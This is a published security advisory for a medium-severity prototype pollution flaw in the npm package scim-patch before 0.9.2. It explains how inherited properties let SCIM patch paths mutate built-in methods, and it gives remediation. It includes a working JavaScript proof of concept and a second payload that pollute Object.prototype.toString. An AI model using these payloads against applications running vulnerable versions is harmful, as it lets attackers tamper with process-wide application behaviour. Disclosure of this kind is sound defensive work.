Medium

scim-patch: Mutation of Inherited Built-in Method Objects

  • Disclosed: 28.09.2026
  • Updated: 11.10.2026 10:22

Summary

Incomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects

scim-patch blocks direct dangerous path segments such as __proto__, constructor, and prototype, but still traverses inherited properties when applying SCIM patch paths.

An attacker who controls a SCIM PATCH operation can use paths such as toString.polluted to mutate shared built-in function objects, for example Object.prototype.toString.

Impact

A malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct Object.prototype pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.

Details

Affected code paths:

  • navigate() reads inherited properties via schema[subPath]
  • assign() uses key in obj, which treats inherited properties as existing

Because inherited keys are followed, safe-looking path segments such as toString can resolve to shared built-in objects.

PoC

js
const assert = require("node:assert/strict");
const { scimPatch } = require("./lib/src/scimPatch");

const victim = {
  schemas: ["urn:ietf:params:scim:schemas:core:2.0:User"],
  userName: "alice",
  active: true,
  emails: [{ value: "alice@example.com", primary: true }],
  meta: { created: "x", lastModified: "x", resourceType: "User" }
};

try {
  assert.equal(({}).toString.scimPatchPolluted, undefined);

  scimPatch(victim, [
    { op: "add", path: "toString.scimPatchPolluted", value: "polluted" }
  ]);

  assert.equal(({}).toString.scimPatchPolluted, "polluted");
  console.log(({}).toString.scimPatchPolluted);
} finally {
  delete Object.prototype.toString.scimPatchPolluted;
}

Output:

polluted

A no-path operation with a dotted value key is also affected:

js
scimPatch(victim, [
  { op: "add", value: { "toString.noPathPolluted": "polluted" } }
]);

Remediation

Do not traverse inherited properties while resolving patch paths. Use own-property checks such as Object.hasOwn(obj, key) and create missing containers only for safe own keys.

Keep the existing denylist for __proto__, constructor, and prototype as defense in depth.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package scim-patch < 0.9.2 0.9.2

References

CVSS score 4.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Weakness (CWE)
CWE-1321, CWE-915
Platform
npm
Package
scim-patch
Disclosed
28.09.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-2mhw-wcx5-v3xj - CC BY 4.0

Vulnerability history: scim-patch

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
2
First → latest
06.2026 09.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • Medium 1

Disclosures per year

  1. 2026: 2
  1. scim-patch: Mutation of Inherited Built-in Method Objects this entry
    Medium · 4.3 CVE-2026-61834 < 0.9.2 0.9.2

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.